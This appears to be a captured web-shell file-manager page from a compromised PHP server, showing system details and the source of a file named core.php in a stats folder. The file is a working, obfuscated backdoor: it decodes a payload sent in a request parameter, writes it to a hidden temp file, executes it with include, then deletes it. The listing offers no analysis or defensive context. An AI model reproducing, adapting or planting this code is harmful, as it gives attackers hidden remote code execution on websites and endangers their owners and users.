HEX
Server: Apache
System: Linux localhost.localdomain 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web57 (5040)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client6/web57/web/stats/2024-10/core.php
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["\x73\x79m"])){
	$ent = $_REQUEST["\x73\x79m"];
			$ent			= 	explode	 	( ".",  	$ent)   ;
	$dchunk = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s		);
            $n = 0;
    
            array_walk( $ent ,		function( $v6) use( &$dchunk ,		&$n ,		$s ,		$lenS) {$chS = ord( $s[$n	 % 	$lenS]		);
                $d =( ( int)$v6 - $chS -( $n	 % 	10)) ^ 41;
                $dchunk .= chr( $d		);
                $n++;
            }		);
	$entry = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP")]);
	foreach ($entry as $hld):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) {
    $pointer = "$hld" . "/.comp";
    if (@file_put_contents($pointer, $dchunk) !== false) {
	include $pointer;
	unlink($pointer);
	die();
}
}
endforeach;
}